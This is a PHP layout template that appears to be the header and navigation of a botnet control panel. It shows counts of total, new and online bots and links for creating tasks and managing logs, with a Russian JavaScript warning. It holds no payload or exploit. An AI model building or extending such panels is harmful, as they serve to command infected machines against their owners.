<?php if(!defined('ACCESS_CONTROL')) {header($_SERVER['SERVER_PROTOCOL']. ' 404'); exit('404 not found');}?>
<html>
<head>
    <meta charset="utf-8">
    <title><?php echo(isset($title) ? $title : '')?></title>
    <link rel="stylesheet" href="public/css/font-awesome.min.css">
    <link rel="stylesheet" href="public/css/bootstrap.min.css">
    <link rel="stylesheet" href="public/css/app.css">
    <link rel="stylesheet" href="public/css/flags.css">
    <script src="public/js/jquery-2.1.3.min.js"></script>
    <script src="public/js/jquery-ui.min.js"></script>
    <script src="public/js/bootstrap.min.js"></script>
    <script src="public/js/app.js"></script>
</head>
<body>
<div class="container" style="margin-top: 15px;">
    <img src="public/images/logo.jpg">
    <div class="clearfix"></div>
    <div class="pull-right">
        <strong>Total bots:</strong>  <?php echo($total_bots)?> |
        <strong>Today new:</strong> <?php echo $today_new ?> |
		<strong>Online:</strong> <?php echo $online_bots ?>
    </div>
</div>
<div class="container">
    <nav class="navbar navbar-inverse">
        <!-- Collect the nav links, forms, and other content for toggling -->
        <div class="collapse navbar-collapse">
            <ul class="nav navbar-nav">
                <li class="<?php echo(!isset($_GET['do']) || $_GET['do'] == 'stats' ? 'active' : '')?>"><a href="?do=stats"> Total statistics </a></li>
                <li class="<?php echo(isset($_GET['do']) && $_GET['do'] == 'bots' ? 'active' : '')?>"><a href="?do=bots"> Bots statistics </a></li>
                <li class="<?php echo(isset($_GET['do']) && $_GET['do']=='tasks' && (!isset($_GET['action']) || $_GET['action'] != 'new')) ? 'active' : ''?>"><a href="?do=tasks"> Tasks </a></li>
                <li class="<?php echo(isset($_GET['do']) && $_GET['do'] == 'tasks' && isset($_GET['action']) && $_GET['action'] == 'new' ? 'active' : '')?>"><a href="?do=tasks&action=new"> Create a task</a></li>
				<li class="<?php echo(isset($_GET['do']) && $_GET['do'] == 'logs' ? 'active' : '')?>"><a href="?do=logs"> Logs management</a></li>
            </ul>

            <ul class="nav navbar-nav navbar-right">
                <li><a href="?do=auth&action=out">Logout</a></li>
            </ul>

        </div><!-- /.navbar-collapse -->
    </nav>
</div>
<div class="container" style="padding-bottom: 25px;">
    <noscript>
        <div class="alert alert-danger">
            <p class="text-danger">Включите javascript. Нихрена ж работать не будет. <br><small>текст может отображаться в пермешку с html, такое может быть со включенным Adblock</small></p>
        </div>
    </noscript>
    <div id="error_container"></div>
    <?php echo(isset($yield) ? $yield : '')?>
</div>
</body>
</html>